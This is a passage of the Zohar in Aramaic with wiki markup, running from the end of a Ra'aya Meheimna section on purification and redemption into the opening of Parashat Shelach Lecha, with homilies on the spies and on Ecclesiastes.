שכינתא איהי פסח ראשון מימינא. פסח שני משמאלא. פסח ראשון מימינא - דתמן חכמה. פסח שני משמאלא - דתמן בינה. ובגין דבגבורה  מתעברין כל אשין נוכראין דאינון כקש ותבן לגבי אש דגבורה - טמאים נדחים לפסח שני. וכל טומאת נדה ומצורע וזב וזבה ויולדת - באשא דגבורה איהו שורף. דנשמתא איהו מאנא דקודשא בריך הוא ואיהו לא שרי בה עד דאתלבנת באשא דגבורה דכתיב {{צ|הלא כה דברי כאש נאם יהו&quot;ה}} {{ממ|ירמיהו|כג|כט}}. ובהאי אשא - אם ברזל הוא מתפוצץ ואם אבן הוא נמוח.

ובימינא  דתמן תורה שבכתב דאיהי מים - {{צ|וטהרה ממקור דמיה}} {{ממ|ויקרא|יב|ז}}, ואתדכי בה מצורע וטמא מת וזב וטמא בכל מיני שרץ. &lt;קטע סוף=רע&quot;מ דף קנב ב/&gt;{{ש}}
{{ממ זהר משולב|ג|קנג|א}}{{ש}}
&lt;קטע התחלה=רע&quot;מ דף קנג א/&gt;הדא הוא דכתיב  {{צ|וזרקתי עליכם מים טהורים וטהרתם וגו'}} {{ממ|יחזקאל|לו|כה}}, מעמודא דאמצעיתא.


מאנא - אתיחדת בבעלה דאיהי אתתא. בתר דאתקדשת בשמאלא ואתדכאת במי מקוה בימינא. ואומרים על מאני דפסחא, {{צ|כלים שנשתמשו בהן בצונן - מטבילן בצונן והן טהורים}}. אינון נשמתין דאינון מסטרא דרחמי ואינון רחמנים, מארי חנא וחסדא -- לא צריכין לאדכאה במים פושרים כבינוניים. כל שכן בחמי חמין דבהון מתדכין רשעים גמורים דמחממין גרמייהו באשא דיצר הרע, ועלייהו אתמר {{צ|כל דבר אשר יבא באש}} {{ממ|במדבר|לא|כג}} - בגין דזוהמא דילהון נפישא. אבל צדיקים גמורין בצונן, דעלייהו אתמר {{צ|כל המשים ריוח בין הדבקים מצננים ליה גיהנם}}. 

ואי נשמתין חמריים דאינון כמאני חרס - שבירתן זו היא טהרתן. כמה דאת אמר {{צ|נשברו - נטהרו}}. ורזא דמלה {{צ|זבחי אלהים רוח נשברה וגו'}} {{ממ|תהלים|נא|יט}}.  אבל אינון דמשתדלין באורייתא דבכתב ובאורייתא דבעל פה, דאינון אש ומים, ואינון דמשתדלין ברזא דאורייתא דאיהו אור דכתיב בה {{צ|ותורה אור}} - באורייתא אינון מתדכין בה!


ועוד בפרק הרואה: הרואה תמרים בחלום - תמו עונותיו. הדא הוא דכתיב {{צ|תם עונך בת ציון}} {{ממ|איכה|ד|כב}}. {{ש}}
בגין ד'''תמרים''' - ביה '''תם''' - דרגא דיעקב דאתמר ביה {{צ|ויעקב איש תם}} {{ממ|בראשית|כה|כז}}. חובין - '''מרים'''. ועל דא '''תמרים''' - תמן '''תם''' ותמן '''מר'''.

הכא רמיז {{צ|וימתקו המים}} {{ממ|שמות|טו|כה}}. הדא הוא דכתיב {{צ|ויורהו יהו&quot;ה עץ וימתקו המים}}. מהכא - מאן דאשתדל באורייתא דאיהו 'עץ' - חובין דיליה דאתמר בהון {{צ|וימררו את חייהם בעבודה קשה}} {{ממ|שמות|א|יד}} - קודשא בריך הוא מחיל ליה ויתחזרון מתיקין. דיומין ייתון דיתקיים בהו כמפקנו דמצרים דאתמר ביה {{צ|וימת יוסף וכל אחיו וכל הדור ההוא}} {{ממ|שמות|א|ו}}. ובגלותא בתראה לית מיתה אלא עוני, דעני חשוב כמת. לקיים בהון {{צ|והשארתי בקרבך עם עני ודל וחסו בשם יהו&quot;ה}} {{ממ|צפניה|ג|יב}}, לאתקיימא בהון {{צ|ואת עם עני תושיע}} {{ממ|תהלים|יח|כח}}.

ואלין עתירין דישתארון בהון - יתקיים בהון {{צ|נרפים אתם נרפים}} {{ממ|שמות|ה|יז}} - נרפים הם באורייתא! נרפים הם למעבד טיבו עם מארי תורה ואנשי חיל המסובבים מעיר לעיר ולא יחוננו.  ונרפים הם בכובד המס. דאי תימא כבדין אינון בכובד המס ולא עבדין טיבו - בגין דא {{צ|תכבד העבודה על האנשים ויעשו בה}} - דכובד המס עלייהו! {{ש}}
{{צ|ואל ישעו בדברי שקר}} - דאינון משקרין ואמרין דכובד המס עלייהו ובגין דא לא יעבדון טיבו. אינון משקרן במילולייהו  ואמרין דמהכובד דתכבד עלייהו, {{צ|תבן אין ניתן}} {{ממ|שמות|ה|ז}}, ממונא דשקרא, דביה טענין לקודשא ברוך הוא, ובגין דלא ישעון ביה, ולא חסו בשם יהו&quot;ה - {{צ|אין נתן לעבדיך}}.

ואלין דאית לון טמיר וגניז ממונא מלגו דאיהו {{צ|תוכן}} - כגון תוך האוצר ותיבה, אתקיים בהו {{צ|ותוכן לבנים תתנו}}, ודא כספים  לבנים דיהון בההוא דרא.  בההוא זמנא {{צ|שם שם לו חוק ומשפט}}, ואינון מארי משנה. אוף הכא {{צ|ויבאו מרתה}} {{ממ|שמות|טו|כג}} - אתהדר לון אורייתא דבעל פה מרה, בדחקין סגיאין בעניותא, דיתקיים בהו {{צ|וימררו את חייהם בעבודה קשה}} - זו קושיה. {{צ|בחומר}} - דא קל וחומר. {{צ|ובלבנים}} - דא לבון הלכה. {{צ|ובכל עבודה בשדה}} - דא ברייתא.  {{צ|את כל עבודתם אשר עבדו בהם בפרך}} - דא תיקו.

ורעיא מהימנא! תמן אתקיים בך {{צ|שם שם לו חק ומשפט ושם נסהו}} {{ממ|שמות|טו|כה}}! ובהאי עץ הדעת טוב ורע דאיהו איסור והיתר, ובאינון רזין דאתגליין על ידך - {{צ|וימתקו המים}} - כמלח דממתקת בשרא. הכי יתמתקון ברזייא דאתגליין על ידך כל אינון קושיין ומחלוקות; דמיין מרירן דאורייתא דבעל פה - אתהדרו מתיקן מי אורייתא. ויסורין דילך ברזין אלין דאתגליין על ידך - יהון לך מתיקין, ויהדרון לך כל דחקין דילך כחלמין דעברין. ו'''חלם''' בהיפוך אתוון '''מלח''' - דממתקת ית בשרא - אוף יסורין ממתקים כמה דאוקמוה. 

ולרשעים מתהדרן יסורין '''מלח סדומית''' דאיהי מסמא את העינים, לקיימא בהו {{צ|ועיני רשעים תכלינה}} {{צ|איוב|יא|כ}}. &lt;קטע סוף=רע&quot;מ דף קנג א/&gt;

{{ממ זהר משולב|ג|קנג|ב}}

&lt;קטע התחלה=רע&quot;מ דף קנג ב/&gt;ואינון ערב רב רשיעייא דיתקיים בהו בההוא זמנא {{צ|יתבררו ויתלבנו ויצרפו רבים והרשיעו רשעים}} {{ממ|דניאל|יב|י}}. {{ש}}
{{צ|יתלבנו}} - אינון מארי משנה, {{צ|ויצרפו}} אינון זרעא קדישא דשאר עמא. הדא הוא דכתיב {{צ|וצרפתים כצרוף את הכסף}} {{ממ|זכריה|יג|ט}}. {{צ|והרשיעו רשעים}} - אינון ערב רב.

{{צ|והמשכילים יבנו}} - אינון מארי קבלה דאתמר בהון {{צ|והמשכילים יזהירו כזהר הרקיע}} {{ממ|דניאל|יב|ג}} - אלין אינון דקא משתדלין בזהר דא דאקרי {{צ|ספר הזהר}} דאיהו כתיבת נח דמתכנשין בה שנים בעיר ושבע ממלכותא, ולזמנין אחד מעיר ושנים ממשפחה, דבהון יתקיים {{צ|כל הבן הילוד היאורה תשליכוהו}} {{ממ|שמות|א|כב}}. ודא אורה דספרא דא. וכולא על סיבה דילך!

ומאן גרים דא? -- עורב! {{ש}}
דאנת תהא בההוא זמנא כיונה דשליח אחרא דאקרי בשמך, כעורב דאשתלח בקדמיתא ולא אתהדר בשליחותא, דאשתדל בשקצים דאתמר בהון עמי הארץ שקץ, בגין ממונא דלהון, ולא אשתדל בשליחותיה לאהדרא לצדיקייא בתיובתא, כאילו לא עביד שליחותא דמאריה. ובך יתקיים רזא דיונה, דעאל בעמקין דתהומי ימא - הכי תיעול אנת בעמיקו דתהומי אורייתא. הדא הוא דכתיב {{צ|ותשליכני מצולה בלבב ימים}}. {{צ|יונה|ב|ד}}. 

ויהון חכמה חסד נצח לימין דבגינייהו אמר דוד {{צ|ימין יהו&quot;ה עושה חיל, ימין יהו&quot;ה רוממה, ימין יהו&quot;ה עושה חיל}}. ותלת משמאלא יתקשרון כחדא דאינון בינה גבורה הוד. ותלת דרגין דאמצעיתא - כתר תפארת יסוד, דאחידן בימינא ושמאלא. ובגין דחזא לך נביא מתקשר בתלת דרגין דאמצעיתא - פתח עלך האי קרא {{צ|הנה ישכיל עבדי ירום ונשא וגבה מאד}} {{ממ|ישעיהו|נב|יג}}. ובגין דאנת תהא אחיד בתרין משיחין, אמר דוד על תלת ימינין דמשיח בן דוד {{צ|ימין יהו&quot;ה}} תלת זמנין. 

לקביל תלת שמאלין דאחיד בהון משיח בן אפרים אמר מסטרא דחד שמאלא גבורה {{צ|לא אמות}}, {{צ|כי אחיה}} מסטרא דשמאלא דהוד דילך דאתמר ביה ונתן ההוד למשה, אתייהיב בך מסטרא דבינה בגין דביה הוית אנת חרב ויבש בכלא, בגין משיח בן אפרים. באורייתך, בנביאותך עליה, בגופך דסבילת כמה מיני יסורין בגין דלא ימות הוא. ובעית רחמי עליה. אתמר ביה {{צ|כי אחיה}} מסטרא דבינה. ובגין דא {{צ|לא אמות}} מסטרא דגבורה, {{צ|כי אחיה}} מסטרא דבינה אילנא דחיי דאתגבר עליה קריאת שמע של שחרית וקשיר ליה בקשורא דתפילין בימינא דאברהם דאיהו שחרית.

{{צ|ואספר מעשי יה}} - מסטרא דהוד, {{צ|יסור יסרני יה}} - חכמה ובינה מימינא ומשמאלא, בתלת ימינין ותלת שמאלין. {{צ|ולמות לא נתנני}} - עמודא דאמצעיתא בתלת דכליל כתר וצדיק ואיהו '''בן יה'''. ומיד יקום '''ו'''' ל'''ה'''' ב'''יה''' בימינא ושמאלא, ברחמי ותחנוני, בכמה פיוסים לה ולבנהא. הדא הוא דכתיב {{צ|ביום ההוא אקים את סוכת דוד הנופלת}}. ובגין דא אמר נביא {{צ|בבכי יבאו ובתחנונים אובילם}} {{ממ|ירמיהו|לא|ח}}.


קם רעיא מהימנא ונשיק ליה ובריך ליה. ואמר &quot;''ודאי שליחא דמארך אנת לגבן!''&quot;. {{ש}}
פתחו תנאין ואמוראין ואמרו &quot;''רעיא מהימנא! אנת הוית ידע כל דא, ועל ידך היא אתגלייא, אבל בענוה דילך דאתמר בך {{צ|והאיש משה ענו מאד}} {{ממ|במדבר|יב|ג}} - באלין אתרין דאנת מתבייש לאחזקא טיבו לגבך - מני קודשא בריך הוא לן ולבוצינא קדישא למהוי בידך ובפומך באלין אתרין''&quot;. 

'''(עד כאן רעיא מהימנא)'''


{{קטן|'''[כאן מופיע בדפוס {{צ|עח א - פקודא בתר דא וכו'}}. ולא מובן למה הכוונה כי אין רעיא מהימנא ב[[זהר חלק ג עח א]]. וצע&quot;ע. ויקיעורך]'''}}
&lt;קטע סוף=רע&quot;מ דף קנג ב/&gt;

{{ממ זהר משולב|ג|קנד|א}}&lt;קטע התחלה=רע&quot;מ דף קנד א/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנד א/&gt;

{{ממ זהר משולב|ג|קנד|ב}}&lt;קטע התחלה=רע&quot;מ דף קנד ב/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנד ב/&gt;

{{ממ זהר משולב|ג|קנה|א}}&lt;קטע התחלה=רע&quot;מ דף קנה א/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנה א/&gt;

{{ממ זהר משולב|ג|קנה|ב}}&lt;קטע התחלה=רע&quot;מ דף קנה ב/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנה ב/&gt;

{{ממ זהר משולב|ג|קנו|א}}&lt;קטע התחלה=רע&quot;מ דף קנו א/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנו א/&gt;

{{ממ זהר משולב|ג|קנו|ב}}&lt;קטע התחלה=רע&quot;מ דף קנו ב/&gt;(&lt;small&gt;אין רעיא מהימנא בדף זה&lt;/small&gt;)&lt;קטע סוף=רע&quot;מ דף קנו ב/&gt;

==פרשת שלח לך - זהר==
{{ממ זהר משולב|ג|קנו|ב}}{{ש}}
&lt;קטע התחלה=שלח דף קנו ב/&gt;'''{{צ|וידבר יהוה אל משה לאמר שלח לך אנשים ויתורו את ארץ כנען וגו'}} {{הפניה לפסוקים|במדבר|יג|א|ב}}'''. {{ש}}
רבי חייא פתח {{צ|הֲמִיָּמֶיךָ צִוִּיתָ בֹּקֶר ידעתה שחר [יִדַּעְתָּ הַשַּׁחַר] מְקֹמוֹ}} {{ממ|איוב|לח|יב}} - {{צ|שחר}} כתיב - '''ה'''' אתרחקא מ'''שחר'''. מאי טעמא? 

אלא אמר רבי חייא, בשעתא דנטי ערב ושמשא נטי למיעל - כדין אתחלש תוקפיה. כדין שלטא שמאלא ומשתכח דינא בעלמא ואתפשט. וכדין בעי בר נש לצלאה  דישכח רעותא קמי מאריה. 

דאמר רבי ייסא: כד נטי שמשא ואתחלש - כדין אתפתח חד פתיחו בשמשא, ואתכניש חיליה ושמאלא שליט, ויצחק כרי בירא תחותיה. {{ש}}
כיון דעאל ליליא - פתקא דקוטפא באחמתיה שכיח, וכמה חבילין טריקן  אתפשטו בעלמא. וכלהו שטאן בערבוביא, ואזלי וחייכאן בנפשן דרשיעייא, ומודעין לון מלין; מנהון כדיבן ומנהון קשוט. ומאן דאשתכח בינייהו אתייהיב לון רשו לחבלא. וכלהו בני עלמא ניימין  וטעמין טעמא דמותא. והא אוקימנא. 

תא חזי כד אתער רוח צפון - כדין אתקבלא כנסת ישראל בשמאלא ואתחברו כחדא. ושריא בדרועא באתרהא. וקב&quot;ה אתי לאשתעשעא עם צדיקייא דבגנתא דעדן. וכדין כל מאן דיתער למלעי באורייתא בההוא שעתא - הא אשתתף בהדה! בגין דהיא  וכל אוכלוסין דילה משבחן למלכא עלאה, וכל אינון דאשתכחו  בתושבחתא דאורייתא - כלהו כתיבין בבני היכלא ואקרון בשמהן, ואלין רשימין ביממא. 


תא חזי שמא חדא קדישא אית בגלופי אתוון דהוא שלטא מפלגו ליליא ואילך, ואינון אתוון ד'''מנצפך'''{{הערה|{{גמט דגש|מ&quot;ם נו&quot;ן צד&quot;י פ&quot;א כ&quot;ף}} עולה {{גמט דגש|כל&quot;ך סעפ&quot;ה יאע&quot;וצה}} עם ג' תיבות והכולל - ויקיעורך}} כליל לון{{הערה|ה&quot;ג הרמ&quot;ק עפ&quot;י המתוק מדבש}}. 
* '''ם'''' - אוקמוה {{צ|לםרבה המשרה}} {{ממ|ישעיה|ט|ו}}. 
* '''נ'''' - הוה אסתים להאי ולהאי - כדין כתרין כלילן הוא. 


'''ו''''  דשמא קדישא אתקין ליה וסתים מבועהא. {{ש}}
בתר דאולידת - פתיחא הות בחד רישא דפתחא. {{ש}}
כד אתחריב בי מקדשא - אסתימו מבועין מכל סטרין. 

את דא כליל אתוון אחרן ואינון שבעה; תלת מהאי סטרא וארבע מהאי סטרא. '''כלך''' - וסימן {{צ|'''כלך''' יפה רעיתי ומום אין בך}} {{ממ|שיר|ד|ז}}. 

'''ן'''' - דכר ונוקבא כליל כחדא. דא כליל תלת מכאן ותלת מכאן ואינון שית. 

ואוקימנא באלין תרין אתוון '''ם' ן'''' אתכללו תריסר אתוון. סליק מנייהו תרי - חד לאתר חד, וחד לאתר חד. 

{{גמט דגש|כל&quot;ך סעפ&quot;ה יאע&quot;וצה}} - הכי אתגליפו אתוון! ורזא דא בכי תצא למלחמה קרא דכתיב {{צ|כִּי יִהְיֶה נַעֲרָ בְתוּלָה}} {{ממ|דברים|כב|כג}} - {{צ|נער}} כתיב. 


בתר דאסתלק ליליא וצפרא נהיר - כדין '''ה'''' סלקא ואתכלילת בנהורא עלאה. וכדין {{צ|ידעת השחר מקומו}} - דידע '''שחר''' מקומו ד'''ה&quot;א''' ואתכלילת בגויה.


תא חזי משה הוה שמשא ובעא לאעלאה לארעא. {{ש}}
אמר ליה קב&quot;ה: משה! כד אתי נהורא דשמשא - אתכליל סיהרא בגוויה.&lt;קטע סוף=שלח דף קנו ב/&gt;{{ש}}
{{ממ זהר משולב|ג|קנז|א}}{{ש}}
&lt;קטע התחלה=דף קנז א/&gt;השתא דאנת שמשא - היך יקומון כחדא שמשא וסיהרא?! לא נהיר סיהרא אלא בשעתא דאתכניש שמשא! אבל השתא לית היא{{הערה|ה&quot;ג הגר&quot;א עפ&quot;י המתוק מדבש}} יכיל. אי תבעי למנדע מנה - '''{{צ|שלח לך אנשים}} {{ממ|במדבר|יג|ב}}''' - לגרמך בגין למנדע. 


תא חזי! משה - אי תימא דהוא לא ידע דלא ייעול לארעא בזמנא דא -- לאו הכי! אלא ידע! והוה בעי למנדע מנה עד לא יסתלק, ושלח לאלין מאללי. כיון דלא אתיבו מלה כדקא יאות - לא שלח זמנא אחרא עד דקב&quot;ה אחזי ליה דכתיב {{צ|עלה אל הר העברים הזה וראה את הארץ}} {{ממ|דברים|לב|מט}}, וכתיב {{צ|ויראהו יהוה את כל הארץ}} {{ממ|דברים|לד|א}}. ולא דא בלחודוי אלא כל אינון דזמינין למיקם בכל דרא ודרא - כלהו אחזי ליה למשה! ואתמר ואוקמוה חברייא. 

כיון דשארי משה למשלח מה אמר לון? {{צ|היש בה עץ}} {{ממ|במדבר|יג|כ}}. וכי מה הוא דקאמר? ואי תימא דלא ידע -- אלא לקמן יימא מלה! אבל הכא הכי אמר משה: אם יש בה עץ - הא ידענא דאנא איעול לתמן! מאי {{צ|עץ}}? דא אילנא דחיי, ותמן לא הוה אלא בגן עדן דארעא. אמר: אם יש בה עץ דא - אנא איעול לתמן! ואי לא - לאו אנא יכיל למיעל! 


אמר רבי חייא כתיב {{צ|וימצאו איש מקושש עצים ביום השבת}} {{ממ|במדבר|טו|לב}}. מאן עצים הכא ומאן הוא דא? אלא דא צלפחד. והוה דייק על אלין אילנין - הי מנייהו רב על אחרא, ולא חשש ליקרא דמאריה, ואחלף שבת לשבת. הדא הוא דכתיב {{צ|כי '''בחטאו''' מת}} {{ממ|במדבר|כז|ג}} - '''{{צ|בחטא ו' מת}}'''. בגין כך הוה דיניה סתים, ולא אתפרש דיניה כדינין אחרנין. בגין דמלה דא בעי בחשאי וסתים, ולא גלייא. ועל דא לא אתמר באתגלייא. וקב&quot;ה עבד יקר ליקריה. 


רבי יוסי אמר שאר עצים בהדי שבת הוה מקושש. וקביל עונשא לפום שעתא ואתכפר חוביה. ועל דא אתקשי משה בדינא דבנתא דלא ידע אי אתכפר למהוי לבנתיה חולק ואחסנא אי לאו. כיון דדכר שמיה דצלפחד קב&quot;ה דכתיב {{צ|כן בנות צלפחד דוברות}} {{ממ|במדבר|כז|ז}} - אתידע דהא אתכפר חוביה. 

תא חזי תרין אילנין אינון - חד לעילא וחד לתתא. בדא חיין, ובדא מותא. מאן דאחלף לון - גרים ליה מותא בהאי עלמא ולית ליה חולקא בההוא עלמא! ועל דא אמר שלמה {{צ|דבש מצאת אכול דייך וגו'}} {{ממ|משלי|כה|טז}}. 

'''ארון ותורה''' בחד קיימי! תורה - עקרא, ארון - ביתא. ועל דא '''{{צ|ארן}}''' חסר בלא '''וא&quot;ו'''  בכל אתר - {{צ|'''ארן''' הברית}} {{צ|'''ארן''' העדות}}. 

בכל אתר אהרן דרועא ימינא בר בחד דכתיב {{צ|כל פקודי הלוים אשר פקד משה וְׄאַׄהֲׄרֹׄןׄ}} {{ממ|במדבר|ג|לט}} - נקוד לעילא. 


א&quot;ר יצחק: משה אילנא דחיי נקט. ועל דא בעא למנדע אי הוה שכיח בארעא אי לאו. ובגין כך אמר {{צ|היש בה עץ אם אין והתחזקתם ולקחתם מפרי הארץ}} - דהא אילנא דחיי אתחמד לכלא. ואינון לא אייתיאו אלא ענבים ורמונים ותאנים - באילנא אחרא תליין ואחידן. {{ש}}
ועל דא '''{{צ|שלח לך אנשים}}''' - בגינך.


רבי יהודה פתח  {{צ|כצנת שלג ביום קציר ציר נאמן לשולחיו ונפש אדוניו ישיב}} {{ממ|משלי|כה|יג}}.{{ש}} 
{{צ|כצנת שלג ביום קציר}} - דאהני לגופא ולנפשא. {{צ|ציר נאמן לשולחיו}} - אלו כלב ופנחס דהוו שליחי מהימני לגבי יהושע. {{צ|ונפש אדוניו ישיב}} - דאהדרו שכינתא לדיירא בהו בישראל ולא אסתלקא מנייהו. 

ואלין דשדר משה גרימו בכייה לדרין בתראין, וגרימו לאסתלקא מישראל כמה אלף ורבבן, וגרימו לסלקא שכינתא מארעא מבינייהו דישראל. אינון דשדר יהושע - {{צ|ונפש אדוניו ישיב}}. 


'''רבי חזקיה ור' ייסא''' הוו אזלי בארחא. {{ש}}
אמר רבי ייסא לר' חזקיה: &quot;''חמינא באפך דהרהורא אית בגווך!''&quot; {{ש}}
אמר ליה: &quot;''הא ודאי האי קרא אסתכלנא ביה! כיון דאמר שלמה {{צ|כי מקרה בני האדם ומקרה הבהמה ומקרה אחד להם וגו'}} {{ממ|קהלת|ג|יט}}, ותנינן דכל מלוי דשלמה מלכא כלהו סתימין מדרגין דחכמתא - אי הכי האי קרא אית ביה לאסתכלא! דהא פתחא לאינון דלאו בני מהימנותא אשתכח ביה!''&quot; &lt;קטע סוף=דף קנז א/&gt;{{ש}}
{{ממ זהר משולב|ג|קנז|ב}}{{ש}}
&lt;קטע התחלה=דף קנז ב/&gt;אמר ליה: &quot;''ודאי הכי הוא ואית ביה למנדע ולאסתכלא!''&quot; {{ש}}
אדהכי חמו חד בר נש דהוה אתי. שאל לון מייא דהוה צחי, והוה לאי בתוקפא דשמשא. {{ש}}
אמרו ליה: &quot;''מאן את?''&quot; {{ש}}
אמר לון: &quot;''יודאי אנא ואנא לאי וצחינא''&quot;. {{ש}}
אמרו: &quot;''לעית באורייתא?''&quot; {{ש}}
אמר לון: &quot;''עד דאנא עמכון במלין אסלק להאי טורא ותמן אסב מייא ואשתי''&quot;. {{ש}}
אפיק רבי ייסא חד זפירא מלי מיין ויהב ליה. {{ש}}
בתר דשתה אמר: &quot;''נסלק עמך למייא!''&quot; {{ש}}
סליקו לטורא ואשתכחו חד חוטא דמייא דקיק ומלי קטפורא חד. {{ש}}
יתבו. {{ש}}
אמר לון ההוא בר נש: &quot;''השתא שאילו! דהא אנא אשתדלנא באורייתא על ידוי דחד ברי דאנא עיילית ליה לבי רב, ובגיניה רווחנא באורייתא''&quot;. {{ש}}
אמר רבי חזקיה: &quot;''אי על ידא דברך - טב הוא, אבל מלה דאנן ביה - אנא חמינא דלאתר אחרא בעי לאסתלקא''&quot;. {{ש}}
אמר ההוא בר נש: &quot;''אימא מִלָך! דלזמנין באפרקסתא דענייא תשכח מרגניתא!''&quot; {{ש}}
אמר ליה: &quot;''האי קרא דאמר שלמה!''&quot;. סח ליה. {{ש}}
אמר ליה: &quot;''וכי  במה אתון פרישן משאר בני נשא דלא ידעי!''&quot; {{ש}}
אמרו ליה: &quot;''ובמה?''&quot; 


אמר לון: על דא אמר שלמה האי קרא! ולא אמר האי מגרמיה כשאר אינון מלין! אלא אהדר אינון מלין דטפשאי עלמא דאמרי כך! {{ש}}
ומאי אמרי? -- {{צ|כי מקרה האדם ומקרה הבהמה וגו'}}. טפשאי - דלא ידעי ולא מסתכלן בחכמתא - אמרי דהאי עלמא אזיל במקרה וקב&quot;ה לא אשגח עלייהו אלא {{צ|מקרה האדם ומקרה הבהמה ומקרה אחד וגו'}}. וכד שלמה אסתכל באלין טפשאין דקאמרי דא - קרא לון {{צ|בהמה}} - דאינון עבדין גרמייהו בהמה ממש בגין דאמרי מלין אלין! 

ומנלן? -- קרא דעליה אוכח! דכתיב {{צ|אמרתי אני בלבי על דברת בני האדם לברם האלהים ולראות שהם בהמה המה להם}} {{ממ|קהלת|ג|יח}}. {{ש}}
{{צ|אמרתי אני בלבי}} וחשיבנא בהאי לאסתכלא. על מה? {{ש}}
{{צ|על דברת בני האדם}}! על ההוא מלה דטפשותא דאינון אמרי! {{ש}}
{{צ|לברם האלהים}} - בלחודייהו, ולא יתחברון בהדי בני נשא אחרינן דאית לון מהימנותא. {{ש}}
{{צ|ולראות שהם בהמה המה להם}} - ולראות בהו אינון בני מהימנותא שהם בהמה ממש, ודעתייהו כבעירא. {{צ|המה להם}} בלחודייהו. ולא לאעלאה לבני מהימנותא בדעתא דטפשותא דא. ועל דא {{צ|המה להם}} ולא לאחרנין. 

ומה דעתא דלהון? {{צ|כי מקרה בני האדם ומקרה הבהמה ומקרה אחד לכלם וגו'}}. תיפח רוחיהון דאינון בעירי! אינון טפשאי! אינון מחוסרי מהימנותא! ווי לון ווי לנפשייהו! טב להו דלא ייתון לעלמא! 


ומה אתיב לון שלמה על דא? {{ש}}
קרא אבתריה ואמר {{צ|ומי יודע רוח בני האדם העולה היא למעלה ורוח הבהמה היורדת היא למטה לארץ}} {{ממ|קהלת|ג|כא}}. {{ש}}
{{צ|מי יודע}} - באינון טפשאי דלא ידעי ביקרא דמלכא עלאה ולא מסתכלי באורייתא! {{ש}}
{{צ|רוח בני האדם העולה היא למעלה}} - לאתר עלאה! לאתר יקר! לאתר קדישא לאתזנא מנהירו עלאה - מנהירו דמלכא קדישא למהוי צרורא בצרורא דחיי, ואשתכחת קמי מלכא קדישא עולה תמימה! ודא הוא {{צ|העולה היא למעלה}}. {{ש}}
{{צ|ורוח הבהמה היורדת היא למטה לארץ}} - ולאו לההוא אתר דהוה כל בר נש דכתיב ביה {{צ|בצלם אלהים עשה את האדם}} {{ממ|בראשית|א|כז}}, וכתיב {{צ|נר יהוה נשמת אדם}} {{ממ|משלי|כ|כז}}. 

היך אמרי אינון טפשאי דלאו מבני מהימנותא {{צ|ורוח אחד לכל}}?! תיפח רוחיהון! עלייהו כתיב {{צ|יהיו כמוץ לפני רוח ומלאך יהוה דוחה}} {{ממ|תהלים|לה|ה}}. אלין ישתארון בגיהנם לאינון דרגין תתאין ולא יסתלקון לדרי דרין! עלייהו כתיב {{צ|יתמו חטאים מן הארץ ורשעים עוד אינם ברכי נפשי את יהוה הללויה}} {{ממ|תהלים|קד|לה}}. 


אתו רבי חזקיה ורבי ייסא ונשקו רישיה.{{ש}} 
אמרו: &quot;''ומה כל כך הוה עמך ולא ידענא! זכאה האי שעתא דאערענא בך!''&quot; &lt;קטע סוף=דף קנז ב/&gt;
==קטע זמני==
{{ממ זהר משולב|ג|קנח|א}}

&lt;קטע התחלה=דף קנח א/&gt;תו אמר: &quot;''וכי על דא בלחודוי תוה שלמה?! והא באתר אחרא אמר כגוונא דא!''&quot;{{ש}} 
פתח ואמר: {{צ|זה רע בכל אשר נעשה תחת השמש}} {{ממ|קהלת|ט|ג}}. {{צ|זה רע}} ודאי. מאי {{צ|זה רע}}? דא הוא מאן דאושיד זרעא בריקניא וחביל אורחוי בגין דהאי לאו מדוריה בקב&quot;ה ולא יהא ליה חולקא בעלמא דאתי הדא הוא דכתיב {{צ|כי לא אל חפץ רשע אתה לא יגורך רע}} {{ממ|תהלים|ה|ה}}. על דא אמר {{צ|זה רע}} דלא יהא ליה מדורא לעילא כי מקרה אחד לכל וגם לב בני האדם מלא רע (בגין דא) והוללות בלבבם בחייהם שטותא תקיע בלבייהו ואינון מחוסרי מהימנותא ולית לון חולקא בקב&quot;ה ובאינון בני מהימנותא לאו בעלמא דין ולא בעלמא דאתי הדא הוא דכתיב {{צ|ואחריו אל המתים}} {{ממ|קהלת|ט|ג}}. 

תא חזי קב&quot;ה אזהר לבני עלמא ואמר {{צ|ובחרת בחיים למען תחיה}} {{ממ|דברים|ל|יט}} (בהאי עלמא ובעלמא דאתי) וחיין דההוא עלמא נינהו. אינון דחייבין מחוסרי מהימנותא מאי קא אמרי {{צ|כִּי מִי אֲשֶׁר [יבחר] יְחֻבַּר אֶל כׇּל הַחַיִּים יֵשׁ בִּטָּחוֹן כִּי לְכֶלֶב חַי הוּא טוֹב מִן הָאַרְיֵה הַמֵּת}} {{ממ|קהלת|ט|ד}}. אע&quot;ג דיבחר בר נש בהאי עלמא (ס&quot;א בההוא עלמא) כמה דאמר לאו הוא כלום דהא מסירא דא בידנא (שם אל כל החיים יש בטחון ומסירא דא בידייהו (שם) {{צ|כי לכלב חי הוא טוב מן האריה המת}}. היך יהא לן חיין בההוא עלמא ועל דא {{צ|זה רע}} ודאי דלא ידורון במלכא עלאה ולא יהא לון חולקא ביה. ואע&quot;ג דכל הני קראי תשכח סמיכין לחברייא במלין אחרנין. אבל ודאי שלמה קא אתא לגלאה על אינון חייבין מחוסרי מהימנותא דלית לון חולקא בקב&quot;ה בעלמא דין ובעלמא דאתי. 

אמר ליה תבעי דנתחבר בהדך ותזיל בהדן. 
אמר להו אי עבידנא הכי אורייתא יקרי עלי כסיל ולא עוד אלא דאתחייבנא בנפשאי. 
אמרו ליה למה. 
אמר לון דהא שליחא אנא ושדרו לי בשליחותא ושלמה מלכא אמר {{צ|מקצה רגלים חמס שותה שולח דברים ביד כסיל}} {{ממ|משלי|כו|ו}}. 

תא חזי מרגלים על דלא אשתכחו בני מהימנותא ושלוחי מהימנותא אתחייבו בנפשייהו בעלמא דין ובעלמא דאתי. 

נשק לון ואזל ליה. 

'''אזלו רבי חזקיה ור' ייסא'''. עד דהוו אזלו פגעו באינון בני נשא. 
שאילו ר' חזקיה ורבי ייסא עליה. אמרו מה שמיה דההוא בר נש? 
